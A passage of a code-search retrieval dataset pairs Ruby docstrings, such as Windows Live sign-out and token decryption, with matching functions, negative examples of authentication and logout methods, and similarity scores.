"def authenticate_user_from_token!\n user_token = params[:user_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n\n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def get_user_from_id_token(id_token)\n # Split the string on '.'\n token_parts = id_token.split('.')\n \n # token_parts[0] is header\n # token_parts[1] is JWT\n encoded_token = token_parts[1]\n \n # Check padding and add if needed\n case encoded_token.length % 4\n when 2\n # Add 2 pad chars\n encoded_token << '=='\n when 3\n # Add 1 pad char\n encoded_token << '='\n end\n \n decoded_token = JSON.parse(Base64.urlsafe_decode64(encoded_token))\n end",
"def authenticate_user_from_token!\n\t\t@api_token = ApiToken.find_by_token(params[:token])\n @user = @api_token.try(:user)\n if @user.nil?\n render json: { error: 'Not authorized' }, status: 401\n end\n end",
"def authenticate\n email = auth_params[:email]\n password = auth_params[:password]\n auth_token = AuthenticateUser.new(email, password).call\n user = User.find_by(email: email)\n\n json_response({\n user: {\n **user.get_sanitized_user,\n auth_token: auth_token,\n }\n }, :accepted)\n end",
"def authenticate_user_from_token\n unless authenticate_with_http_token { |token, options| User.find_by(api_token: token) }\n render json: { error: 'Bad Token'}, status: 401\n end\n end",
"def authenticate\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n # kindly refactor and add more keys to the response object when needed\n response = { \n status: Message.success,\n data: {\n token: auth_token\n } \n }\n json_response(response, 200)\n end",
"def authenticate_user_from_token!\n user_token = params[:user_token].presence\n user = user_token && User.find_by_authentication_token(user_token)\n\n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def authenticate\n json_response(\n auth_token: AuthenticateUser.new(\n auth_params[:username],\n auth_params[:password]\n ).call\n )\n end",
"def decoded_token\n bearer, token = request.authorization.to_s.split\n\n if bearer == \"Bearer\"\n JWT.decode(token, Rails.application.secrets.secret_key_base, true, { algorithm: 'HS256' }).first\n else\n {}\n end\n end",
"def authenticate_token \n\t\tauthenticate_with_http_token do | token, options| \n\t\t\tUser.find_by(auth_token: token)\n\t\tend\n\tend",
"def verify_auth_token\n token = params[:auth_token]\n if token.nil?\n render_json_response(400, \"Authorization token needed\")\n return\n end\n\n user = User.find_by_authentication_token(token)\n if user.nil?\n render_json_response(401, \"Bad token\")\n return\n end\n\n @user = user\n end",
"def token_user_id\n decoded_token.first['id']\n end",
"def auth_token\n AuthToken.new payload: { sub: user.id }\n end",
"def authenticate()\n\tuser_env = @env[\"Authorization\"] || @env[\"HTTP_AUTHORIZATION\"]\n if user_env\n user = Base64.decode64(user_env[6,user_env.length-6])[/\\w+/]\n\t\treturn user\n else\n \treturn nil\n\tend\nend",
"def authenticate_user_from_token!\n user_token = params[:user_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n\n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def get_token\n # Get the user by email\n user = User.find_by_email(params[:email])\n \n # return unauthorized if the user was not found\n if !user \n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if the user is not authenticated via the authenticate method\n # then return unauthorized\n if !user.authenticate( params[:password] )\n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if our code gets here, we can generate a token and response.\n # JWT's include an expiry, we will expire the token in 24 hours\n token = jwt_encode({user_id: user.id}, 24.hours.from_now)\n render json: {token: token, exp: 24, username: user.email, userId: user.id},\n status: :ok\n \n end",
"def authenticate\n result=\n AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n json_response({\n auth_token: result[:token],\n email: result[:user].email,\n current_member_id: result[:user].member.id,\n current_member_name: result[:user].member.full_name\n })\n end",
"def call\n fetch_user_from_auth_token\n end",
"def get_user_from_token(token)\n # Heartbeat the session in order to get the user id\n result = Zerodha::User::Refresh.new(\n token: token\n ).call.response\n user_id = result.raw['userID']\n\n if user_id\n return result\n else\n raise Trading::Errors::LoginException.new(\n type: :error,\n code: '403',\n description: 'User could not be found',\n messages: 'User could not be found'\n )\n end\n end",
"def authenticate\n auth_token = AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n user = User.find_by_email(auth_params[:email])\n render json: user.attributes.merge!({ token: auth_token, role: Role.find(user.role_id) })\n end",
"def get_user_by_auth_token\n user = UserSession.find_by_auth_token!(params[:auth_token]).user\n\n json_response 200,\n success: true,\n message_id: 'ok',\n message: I18n.t('success.ok'),\n data: {\n user: user.slice(:id, :username)\n }\n end",
"def authenticate\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n json_response(auth_token: auth_token, config: get_current_configuration, provider: 'email')\n end",
"def verify_token\n token ||= request.env['HTTP_AUTHORIZATION']\n if token.nil?\n error 401, { :error => 'Unauthorized.' }.to_json\n else\n token = token.split(' ').last unless token.nil?\n begin\n @user = verify(token)\n rescue JWT::ExpiredSignature\n error 401, { :error => 'Expired token.' }.to_json\n end\n end\n end",
"def authenticate\n token = request.headers[\"Authorization\"].split(' ')[1]\n payload = JWT.decode(token, @@jwt_secret, true, { algorithm: 'HS512' })[0]\n @username = payload[\"username\"]\n rescue StandardError\n render json: { error: \"Invalid token\" }, status: :unauthorized\n end",
"def current_user_ws\n return User.find_by_authentication_token(params[:access_token])\n end",
"def authenticate\n\t\t\tcred = env['HTTP_AUTHORIZATION']\n\t\t\treturn nil unless cred\n\t\t\tusername, password = basic_decode cred\n\t\t\treturn nil unless username && password\n\n\t\t\tModel::User.authenticate username, password\n\t\tend",
"def validate_access_token obj\n if obj[\"access_token\"] == request_details[:access_token]\n User.new(obj)\n else\n false\n end\n end",
"def find_by_token(encoded)\n token = Token.new(encoded: encoded)\n if token.valid?\n uid = token.payload[:uid] if token.payload\n User.find_by_id(uid)\n end\n end",
"def check_authenticate_user\n if request.headers[:token].present?\n @auth_token = AuthToken.find_by(token: request.headers[:token])\n @current_user = auth_token.user if @auth_token.present?\n unless @auth_token && @current_user\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n else\n error_response_with_obj(HTTP_UNAUTHORIZED[:code], \"Invalid Authentication token\")\n end\n end",
"def get_user(access_token_str)\r\n @access_token = get_access_token_by(access_token_str)\r\n resp = get_userinfo\r\n case resp\r\n when Net::HTTPSuccess\r\n @userinfo = JSON.parse(resp.body)\r\n parse_user_id(@userinfo)\r\n else\r\n err = \"Can't get user info: <br/>#{resp.body}\"\r\n end\r\n err\r\n end",
"def authenticate_user_from_token!\n authenticate_with_http_token do |token, options|\n user_email = options[:email].presence\n user = user_email && User.find_by_email(user_email)\n\n if user && Devise.secure_compare(user.api_token, token)\n sign_in user, store: false\n end\n end\n end"
] |
[
"0.7168519",
"0.69986945",
"0.6748731",
"0.65587443",
"0.65553015",
"0.65211195",
"0.6463288",
"0.6443721",
"0.6402856",
"0.63865834",
"0.628275",
"0.6259999",
"0.62578785",
"0.6251611",
"0.62302315",
"0.6227669",
"0.6218266",
"0.6191184",
"0.6191184",
"0.6187849",
"0.61763185",
"0.61643964",
"0.615027",
"0.6133078",
"0.6130022",
"0.6124781",
"0.6100629",
"0.60848546",
"0.608082",
"0.6065252",
"0.6065041",
"0.60571414",
"0.605235",
"0.60476613",
"0.60030884",
"0.6002234",
"0.6002234",
"0.5975459",
"0.5961687",
"0.595489",
"0.5945003",
"0.59433866",
"0.5933291",
"0.5921872",
"0.591679",
"0.590236",
"0.59014624",
"0.5901342",
"0.5900827",
"0.5896814",
"0.5894987",
"0.5892065",
"0.5882927",
"0.5873034",
"0.5854612",
"0.5839461",
"0.5823658",
"0.5819828",
"0.57954603",
"0.57936597",
"0.5786834",
"0.5784487",
"0.5778023",
"0.5771612",
"0.57581383",
"0.5752941",
"0.5749508",
"0.57399654",
"0.5739598",
"0.5737115",
"0.5731542",
"0.5727478",
"0.5723545",
"0.57189053",
"0.5715589",
"0.5710508",
"0.5705465",
"0.57052726",
"0.5703285",
"0.57028544",
"0.57028097",
"0.5700195",
"0.56950974",
"0.5691702",
"0.56725544",
"0.5671068",
"0.56695473",
"0.5661407",
"0.5650283",
"0.5640764",
"0.5639092",
"0.5635126",
"0.5634187",
"0.5623373",
"0.5621021",
"0.5617904",
"0.5614607",
"0.5614564",
"0.56112945",
"0.5604059"
] |
0.719658
|
0
|
When a user signs out of Windows Live or a Windows Live application, a besteffort attempt is made at signing out the user from all other Windows Live applications the user might be logged in to. This is done by calling the handler page for each application with 'action' set to 'clearcookie' in the query string. The application handler is then responsible for clearing any cookies or data associated with the login. After successfully logging out the user, the handler should return a GIF (any GIF) as response to the action=clearcookie query. This function returns an appropriate content type and body response that the application handler can return to signify a successful signout from the application.
|
def getClearCookieResponse()
type = "image/gif"
content = "R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7"
content = Base64.decode64(content)
return type, content
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logout\n #TODO: add extra logic if required\n delete_cookie(GlobalConstant::Cookie.user_cookie_name)\n render_api_response(Result::Base.success({}))\n end",
"def user_logout\n res = http_delete(:uri=>\"/session\", :fields=>x_cookie)\n return res.code\n end",
"def logout\n \n # test if session is unauth'd\n (print_error \"invalid nonce\";return @body = \"{ success : true }\") if not @session.valid_nonce?(@request)\n (print_error \"invalid session\";return @body = \"{ success : true }\") if not @session.valid_session?(@request)\n \n @headers['Content-Type']='application/json; charset=UTF-8'\n \n # set the session to be log out\n @session.set_logged_out\n \n # clean up UA and expire the session cookie\n config = BeEF::Core::Configuration.instance\n session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name\n Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => \"\", :path => \"/\", :httponly => true, expires: Time.now})\n\n BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{@request.ip} has successfuly logged out.\")\n @body = \"{ success : true }\"\n \n end",
"def sign_out\n @logout = true\n authenticate_api_user\n @logout = false\n revoke_access if @current_user\n head :no_content\n end",
"def logout\n raise LoginError, \"Not logged in\" unless @loggedin\n\n @loggedin = false\n @cookie = nil\n\n get(\"/login/default.aspx?RESETCOMPLETE=Y\")\n end",
"def logout \n sign_out\n# render :text => \"single sign off\" and return unless params[\"from_sso\"].nil?\n redirect_to \"#{my_addr}/#{app.name}/home\"\n end",
"def httpdigest_logout\n session.delete(SESSION_NONCE)\n session.delete(SESSION_OPAQUE)\n end",
"def sso_logout\n # Logout of Bobcat first while we still have the PDS_HANDLE cookie\n bobcat_logout.logout!\n # Then clear all library.nyu.edu cookies\n cookies.clear(domain: ENV['LOGIN_COOKIE_DOMAIN'])\n # If a user logs into client application and then logs out of that application\n # and then tries to login to another SSO client application, passive shibboleth\n # will be called and log them in automatically, this stops that\n session[:_check_passive_shibboleth] = true\n end",
"def logout\n if request.headers[\"external\"] == 'true' && !request.xhr?\n CASClient::Frameworks::Rails::Filter.logout(self)\n else\n if User.current.anonymous?\n redirect_to home_url\n elsif request.post?\n logout_user\n redirect_to home_url\n end\n # display the logout form\n end\n end",
"def logout\n handler = Proc.new do |request|\n if response.code == 204\n clear_session\n else\n case response.code\n when 401 then\n raise Jiralicious::NotLoggedIn.new(\"Not logged in\")\n else\n # Give Net::HTTP reason\n raise Jiralicious::JiraError.new(response)\n end\n end\n end\n\n request(:delete, '/rest/auth/latest/session', :handler => handler)\n end",
"def logout\n cookies.delete SL_CONFIG[:USER_EMAIL_COOKIE]\n cookies.delete SL_CONFIG[:USER_HASH_COOKIE]\n redirect_to Site.full_url\n end",
"def signout\n flash[:error] = params[:error]\n\n # def dont want this around (API tries to kill it, too)\n cookies.delete(:_shelby_gt_common, :domain => '.shelby.tv')\n\n redirect_to Settings::ShelbyAPI.url + \"/sign_out_user\"\n end",
"def logout\n @session.delete unless @session.nil? # Will close the existing session\n @session = nil\n @challenge = '' # no current session, so no challenge string\n clear_cgi_cookies\n end",
"def logout_user\n cookies.delete(:caboose_user_id)\n session[\"app_user\"] = nil\n reset_session\n end",
"def logout\n logout_redirect = Settings.logout_redirect\n if logout_redirect == 'NONE'\n page_not_found\n return\n end\n MarkusLogger.instance.log(\"User '#{real_user.user_name}' logged out.\")\n clear_session\n if logout_redirect == 'DEFAULT'\n redirect_to action: 'login'\n else\n redirect_to logout_redirect\n end\n end",
"def logout\n HttpWrapper.post(\n url: \"#{::Coyodlee.base_url}/user/logout\"\n )\n end",
"def logout\n res = query(\"logout\")\n @sessionid = nil\n puts \"ACS: Logged out\"\n return res.body\n end",
"def sign_out\n post \"api/logout\"\n @me = nil\n end",
"def logout\n payload = delete_session(params[:user_id], params[:session_token], params[:csrf_token])\n if payload == :SESSION_DELETED\n notify_session(\"SESSION_END_NOTICE\", {reason: \"LOGOUT\"}, params[:session_token])\n render status: 200, json: {error: false}\n elsif payload == :SESSION_NO_AUTH\n render status: 403, json: {error: true}\n else\n render status: 404, json: {error: true}\n end\n end",
"def do_logout( server_url, user_token )\n a = Mechanize.new\n begin\n page = a.get(\"http://#{server_url}/api/v1/sessions/destroy?user_token=#{ CGI::escape(user_token) }\")\n JSON.parse(page.body)\n rescue\n puts $!\n end\n end",
"def logout\n session[:user_id] = nil\n\n flash[:notice] = 'You have logged off'\n return_to = params[:return_to] || root_url\n redirect_to \"#{CUSTOM_PROVIDER_URL}/users/sign_out?redirect_uri=#{CGI.escape return_to}\"\n end",
"def logout\n\t\tlogger.error(\"VC: logging out\")\n\t\tflash[:error] = 'logging out'\n\t\tclear_session()\n\t\trender :nothing => true\n\tend",
"def logout_internal\n self.current_user.forget_me if logged_in?\n reset_session\n cookies.delete :auth_token\n end",
"def destroy\n @user_session = UserSession.find()\n begin\n @user_session.destroy\n \n # Log the user out of the forums also\n cookies[\"Vanilla\"] = {:value => \"\", :domain => \".worlize.com\"}\n cookies[\"Vanilla-Volatile\"] = {:value => \"\", :domain => \".worlize.com\"}\n session.delete(:signed_request)\n rescue\n end\n\n respond_to do |format|\n format.html { redirect_to(root_url) }\n format.json { render :json => { :success => true } }\n end\n end",
"def logout\n params = {\n 'method' => :delete,\n 'command' => '/session'\n }\n\n response, headers = send_request(params)\n ensure\n # reset auth key to nil\n @auth_key = nil\n end",
"def handle_logout\n reset_session\n end",
"def logout\n log_prefix = \"API(logout)\"\n $log.info(\"#{log_prefix} User: #{session}\")\n s = session[:userid]\n user = User.find_by_userid(s)\n user.logoff if user\n session.clear\n respond_to do |format|\n format.xml { render xml: session.to_xml(:root => 'user') }\n end\n end",
"def logout\n params = {\n 'method' => :delete,\n 'command' => '/session'\n }\n\n response, headers = send_request(params)\n # reset auth key to nil\n @auth_key = nil\n end",
"def logout\n # If we're given a logout request, handle it in the IdP logout initiated method\n if params[:SAMLRequest]\n idp_logout_request\n\n # We've been given a response back from the IdP\n elsif params[:SAMLResponse]\n process_logout_response\n elsif params[:slo]\n sp_logout_request\n else\n # Devise sign_out\n sign_out current_user\n end\n end",
"def logout\n params = {\n 'method' => :delete,\n 'command' => '/session'\n }\n\n response, headers = send_request(params)\n # reset auth key to nil\n @auth_key = nil\n end",
"def sign_out\n capture_sessions.delete(app.name)\n end",
"def logout\r\n journal(\"log_out\",session[:user_id])\r\n cookies.delete :autologin\r\n Token.delete_all([\"user_id = ? AND action = ?\", logged_in_user.id, \"autologin\"]) if logged_in_user\r\n self.logged_in_user = nil\r\n redirect_to :controller => 'welcome'\r\n # redirect_to :action => 'login'\r\n end",
"def sign_out\n @request.env[:clearance].sign_out\n end",
"def logout\n reset_session \n render json: {\n status: 200, \n logged_out: true\n }\n end",
"def signout\n self.oaw_signout\n redirect_to root_url\n end",
"def mints_user_logout\r\n # Logout from mints\r\n # @mints_user.logout\r\n # Delete local cookie\r\n cookies.delete(:mints_user_session_token)\r\n end",
"def logout\n if current_user == User.find(params[:id])\n current_user.logout\n # head is response header\n head :no_content\n # you could put a statement here to say\n # you've logged out instead of head :no_content\n else\n head :unauthorized\n end\n end",
"def logout\n session[:ccc9527] = nil\n redirect_to root_path\n end",
"def logout_action\n session[:login_time] = nil\n flash[:notice] = \"You are now logged out.\"\n return redirect_to \"/\"\n end",
"def logout\n logout_redirect = Settings.logout_redirect\n if logout_redirect == 'NONE'\n page_not_found\n return\n end\n m_logger = MarkusLogger.instance\n\n # The real_uid field of session keeps track of the uid of the original\n # user that is logged in if there is a role switch\n if !session[:real_uid].nil? && !session[:uid].nil?\n #An admin was logged in as a student or grader\n m_logger.log(\"Admin '#{User.find_by_id(session[:real_uid]).user_name}' logged out from '#{User.find_by_id(session[:uid]).user_name}'.\")\n else\n #The user was not assuming another role\n m_logger.log(\"User '#{current_user.user_name}' logged out.\")\n end\n clear_session\n cookies.delete :auth_token\n reset_session\n if logout_redirect == 'DEFAULT'\n redirect_to action: 'login'\n else\n redirect_to logout_redirect\n end\n end",
"def logout_auth_all\r\n\t\tsign_out current_user if(user_signed_in?)\r\n\t\tredirect_to SERVICE_AUTH_URL_SIGN_OUT\r\n\tend",
"def logout\n # delete the session\n session.delete :user_id\n render json: { message: \"Logged Out\" }\n end",
"def logout\n reset_session\n render json: {\n \n status: 200, \n logged_out: true\n }\n end",
"def logout\n auth_token = get_connection_object.headers['X-Auth-Token']\n raise \"Can't find any authorization token to logout.\" unless auth_token\n delete(\"/auth/#{auth_token}\")\n if @response.has_key?(\"success\") and @response['success']\n get_connection_object.headers.delete(\"X-Auth-Token\")\n end\n @response\n end",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def sign_out\n logout\n end",
"def sign_out\n request.session.delete(:authorized)\n end",
"def mints_user_logout\r\n # Logout from mints\r\n # @mints_user.logout\r\n # Delete local cookie\r\n cookies.delete(:mints_user_session_token)\r\n end",
"def sign_out\n cookies.permanent[:auth_token] = nil\n session[:scope_id] = session[:scope_type] = session[:redirect] = nil\n end",
"def logout\n # clear all scopes\n sign_out_all_scopes\n\n # set redirect_url => sign in page\n redirect_url = new_user_session_url\n # when url-querys has logout_redirect_uri & client_id parameters\n if params[:logout_redirect_uri] && params[:client_id]\n # load oauth application\n application = Doorkeeper::Application.find_by(uid: params[:client_id])\n # check logout_redirect_uri\n # 1. application of client_id exist\n # 2. application.logout_redirect_uri present\n # 3. application.logout_redirect_uri includes params[:logout_redirect_uri]\n # set redirect_url = params[:logout_redirect_uri]\n if application && application.logout_redirect_uri.present?\n if Doorkeeper::OAuth::Helpers::URIChecker.valid_for_authorization?(params[:logout_redirect_uri], application.logout_redirect_uri)\n redirect_url = params[:logout_redirect_uri]\n end\n elsif application && application.redirect_uri.blank?\n redirect_url = params[:logout_redirect_uri]\n end\n end\n redirect_to redirect_url\n end",
"def logout\n call :get, '/user/logout'\n end",
"def destroy\n\t\tlog_out\n\t\tUTEPSSO.deauthenticate(cookies[:UTEP_SE], cookies[:UTEP_SA])\n\t\tredirect_to root_url\n\tend",
"def destroy\n reset_session\n respond_to do |format|\n format.html { redirect_to root_url, :notice => I18n.t(\"helpers.notices.logged_out\") }\n format.js { head :ok }\n end\n end",
"def signout\n session.clear\n end",
"def logout\n request.env[\"keycard.authentication\"] = notary.reject\n reset_session\n end",
"def logout\n response = send_method(:logout)\n debug response.to_html\n if response[:status] == SUCCESS\n @encoder.session_key = nil\n true\n else\n false\n end\n end",
"def signout \n\t if current_user\n\t session[:identity] = nil\n\t session[:authentication_id] = nil\n\t session.delete :identity\n\t session.delete :authentication_id\n\t flash[:notice] = 'You have been signed out!'\n\t end \n\t redirect_to root_url\n\t end",
"def log_out\n session.clear\n cookies.clear\n @current_user = nil\n end",
"def logout_user\n cookies.delete(:auth_token)\n end",
"def logout\n # If we're given a logout request, handle it in the IdP logout initiated method\n if params[:SAMLRequest]\n return idp_logout_request\n\n # We've been given a response back from the IdP\n elsif params[:SAMLResponse]\n return process_logout_response\n elsif params[:slo]\n return sp_logout_request\n else\n reset_session\n end\n end",
"def logout\n # If we're given a logout request, handle it in the IdP logout initiated method\n if params[:SAMLRequest]\n return idp_logout_request\n\n # We've been given a response back from the IdP\n elsif params[:SAMLResponse]\n return process_logout_response\n elsif params[:slo]\n return sp_logout_request\n else\n reset_session\n end\n end",
"def log_out\n\t\tcookies.delete(:cookie_id)\n\n\tend",
"def logout_all\r\n\t\tif(!user_signed_in?)\r\n\t\t\tflash.notice = I18n.t('devise.sessions.already_signed_out')\r\n\t\t\tredirect_to root_path and return\r\n\t\tend\r\n\t\t\r\n\t\tsign_out current_user\r\n\t\tflash.notice = I18n.t('devise.sessions.signed_out')\r\n\t\tredirect_to root_path # also find sessions/tokens from all browsers\r\n\tend",
"def logout\n if current_user == User.find(params[:id])\n current_user.logout\n head :no_content # the request has an empty response body\n else\n head :unauthorized # you are not allowed to do this\n end\n end",
"def logout\n response = @session.delete\n @auth_token = nil\n @rest.default_headers = { 'Content-Type' => 'application/json' }\n response\n end",
"def logout\n self.current_user.forget_me if logged_in?\n cookies.delete :auth_token\n reset_session\n flash[:notice] = \"You have been logged out.\"\n redirect_back_or_default('/')\n #redirect_back_or_default(:controller => '/account', :action => 'index')\n end",
"def log_out\n get '/sessions/destroy'\nend",
"def log_out\n get '/sessions/destroy'\nend",
"def logout\r\n clear_login_data\r\n redirect_to(params[:return_to] || '/', allow_other_host: true)\r\nend",
"def logout\n session[:user_id] = nil\n session[:user_login] = nil\n session[:user_authority] = nil\n redirect_to login_url, alert: \"ログアウトしました。\"\n end",
"def logout\n #render :nothing => true\n \n # Check if exists user data in session\n if session[:logged_user].present?\n # Delete user data from session\n session.delete(:logged_user)\n end\n \n # Set flash message\n flash[:notice] = 'Sessao encerrada com sucesso'\n # Redirect to home \n redirect_to '/home'\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\t\t# Setting @current_user to nil would only matter if @current_user were created before the destroy action (which it isn’t) and if we didn’t issue an immediate redirect (which we do). This is an unlikely combination of events, and with the application as presently constructed it isn’t necessary, but because it’s security-related I include it for completeness\n\tend",
"def destroy\n @current_user = nil\n\n # Remove the hip_session id, since that kind of goes along\n # with login. Yeah, this code is far away from where hip_session\n # gets created making for confusion, sorry.\n #session.delete(:hip_session_id)\n # actually, destroy the whole damn session, why not, we're redirecting\n # them elsewhere anyway.\n reset_session\n\n # Remove shib cookies to log out of local Shib Service Provider.\n # But this doesn't work anyway, not sure why.\n #cookies.keys.find_all {|k| k =~ /^_shibsession_/ || k =~ /^_shibstate_/}.each { |cookie| cookies.delete(cookie) }\n\n redirect_to \"https://login.johnshopkins.edu/cgi-bin/logoff.pl\"\n\n end",
"def logout\n return true unless session_id.present? && auth_token.present?\n\n response = self.class.get('/logout.aspx', :headers => auth_header)\n xml = response.parsed_response\n\n response.success? && !xml['bbapi'].has_key?('error')\n end",
"def logout\n reset_session\n render json: nil\n end",
"def logout\n validate_arguments!\n\n Turbot::Auth.logout\n display \"Local credentials cleared.\"\n end",
"def logout\n @client.make_request :post,\n auth_path('logout')\n end",
"def logout\r\n clear_login_data\r\n redirect_to params[:return_to] || '/'\r\nend",
"def sign_out\n reset_session\n end",
"def logout\n user_logout\n session.clear\n flash[:success] = 'You have been logged out'\n redirect(Users.r(:login))\n end",
"def log_out \n get '/sessions/destroy'\nend",
"def log_out \n get '/sessions/destroy'\nend",
"def log_out \n get '/sessions/destroy'\nend",
"def log_out \n get '/sessions/destroy'\nend",
"def log_out \n get '/sessions/destroy'\nend",
"def destroy\n user_id = app_session.current_user_id\n current_user_session.register_logout\n\n app_session.logged_out\n DeterLab.logout(user_id)\n SslKeyStorage.delete(user_id)\n\n ActivityLog.for_user(user_id).add(:logout, user_id)\n rescue DeterLab::NotLoggedIn\n # That's ok. We are logging out anyway\n ensure\n redirect_to :login, notice: t(\".success\")\n end",
"def destroy\n session[:user_id] = nil\n\n redirect_to \"#{SSOClient.provider_url}/users/sign_out?back=#{URI::encode(main_app.root_url)}\",\n notice: t(\"sso_client.messages.logged_out\")\n end",
"def logout_action( txn, *args )\n\t\t\tself.log.info \"No logout action provided, passing the request off to the server\"\n\t\t\treturn Apache::DECLINED\n\t\tend",
"def logout(env)\n env['rack.session'].delete(:balrog)\n [302, {\"Location\" => '/'}, [\"\"]]\n end",
"def logout\n auth_token = get_connection_object.headers['X-Auth-Token']\n raise \"Can't find any authorization token to logout.\" unless auth_token\n @response = delete(\"/auth/#{auth_token}\")\n if @response.has_key?(\"success\") and @response['success']\n get_connection_object.headers.delete(\"X-Auth-Token\")\n end\n @response\n end",
"def logout\n logger.debug \"from logout\"\n cookies.delete :autologin\n Token.delete_all([\"user_id = ? AND action = ?\", User.current.id, 'autologin']) if User.current.logged?\n self.logged_user = nil\n \n if session[:sso_session]\n logger.debug session.inspect\n Cas.find_by_identifier(session[:sso_session]).logout(self)\n else\n reset_session\n redirect_to :controller => 'welcome'\n end\n end",
"def destroy\n session[:user_id] = nil\n response.status=(200)\n render json: {status: \"Success\", message: [\"Successfully Logged Out\"]}\n end",
"def logout\n session[:user] = nil\n cookies.delete(:user)\n\n redirect_to :controller => \"home\", :action => \"index\"\n end",
"def sign_out(*args)\n warden.logout(*args)\n end",
"def logout\n reset_session\n cookies.delete 'dc_logged_in'\n redirect_to '/'\n end",
"def logout\n cookies[:key] = nil\n redirect_to root_path\n end",
"def process_logout_response\n settings = saml_settings(url_base)\n request_id = session[:transaction_id]\n logout_response = OneLogin::RubySaml::Logoutresponse.new(\n params[:SAMLResponse], settings, matches_request_id: request_id, get_params: params\n )\n logger.info \"LogoutResponse is: #{logout_response.response}\"\n\n # Validate the SAML Logout Response\n if !logout_response.validate\n error_msg = \"The SAML Logout Response is invalid. Errors: #{logout_response.errors}\"\n logger.error error_msg\n render inline: error_msg\n elsif logout_response.success?\n # Actually log out this session\n logger.info \"Delete session for '#{session[:nameid]}'\"\n\n # Devise sign_out\n sign_out current_user\n end\n end",
"def log_me_out\n session['user'] = nil\n end",
"def logout\n \tsession[:user_id] = nil\n \tsession[:home_url] = nil\n \tflash[:notice] = \"You have successfully logged out.\"\n \tredirect_to :action => 'index'\n end",
"def destroy\n reset_session()\n view_context.apphelp_flash( :notice, :signed_out )\n\n redirect_to( signin_path() )\n end",
"def logout\n reset_session\n @logged_in_user = nil\n redirect_to :action => :login\n end"
] |
[
"0.730592",
"0.7197474",
"0.71418506",
"0.6960559",
"0.6931937",
"0.6913665",
"0.6811513",
"0.6807316",
"0.6806629",
"0.6762617",
"0.67430586",
"0.67389333",
"0.6728694",
"0.6706371",
"0.6647889",
"0.66167307",
"0.6613179",
"0.6527107",
"0.6520968",
"0.65153825",
"0.65106106",
"0.6450569",
"0.64407706",
"0.6435364",
"0.6431604",
"0.64269006",
"0.64240235",
"0.64210707",
"0.6414718",
"0.6412095",
"0.64110446",
"0.64093286",
"0.6405949",
"0.64030635",
"0.63859004",
"0.6385198",
"0.636099",
"0.63498825",
"0.6344781",
"0.6343007",
"0.6339722",
"0.63388884",
"0.63387674",
"0.63221204",
"0.6319915",
"0.6306734",
"0.6304833",
"0.6290939",
"0.62869704",
"0.62793034",
"0.6278663",
"0.62782055",
"0.62766874",
"0.62737846",
"0.62710226",
"0.62705654",
"0.62630373",
"0.62591004",
"0.62579614",
"0.6251878",
"0.6251878",
"0.6250453",
"0.62471503",
"0.6242594",
"0.624082",
"0.622987",
"0.6226344",
"0.6226344",
"0.622581",
"0.6214847",
"0.6214025",
"0.620737",
"0.6203343",
"0.6201917",
"0.62002873",
"0.61990315",
"0.619192",
"0.61789405",
"0.6173605",
"0.6173384",
"0.6172438",
"0.6172438",
"0.6172438",
"0.6172438",
"0.6172438",
"0.6166443",
"0.61656594",
"0.6165541",
"0.6164987",
"0.6164392",
"0.6162373",
"0.6157195",
"0.61517185",
"0.614958",
"0.61448336",
"0.6140702",
"0.61353374",
"0.613301",
"0.612983",
"0.61286473",
"0.6127596"
] |
0.0
|
-1
|
Decode the given token. Returns nil on failure. First, the string is URL unescaped and base64 decoded. Second, the IV is extracted from the first 16 bytes of the string. Finally, the string is decrypted by using the encryption key.
|
def decodeToken(token)
if (@cryptkey.nil? or @cryptkey.empty?)
fatal("Error: decodeToken: Secret key was not set. Aborting.")
end
token = u64(token)
if (token.nil? or (token.size <= 16) or !(token.size % 16).zero?)
debug("Error: decodeToken: Attempted to decode invalid token.")
return
end
iv = token[0..15]
crypted = token[16..-1]
begin
aes128cbc = OpenSSL::Cipher::AES128.new("CBC")
aes128cbc.decrypt
aes128cbc.iv = iv
aes128cbc.key = @cryptkey
decrypted = aes128cbc.update(crypted) + aes128cbc.final
rescue Exception => e
debug("Error: decodeToken: Decryption failed: #{token}, #{e}")
return
end
decrypted
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
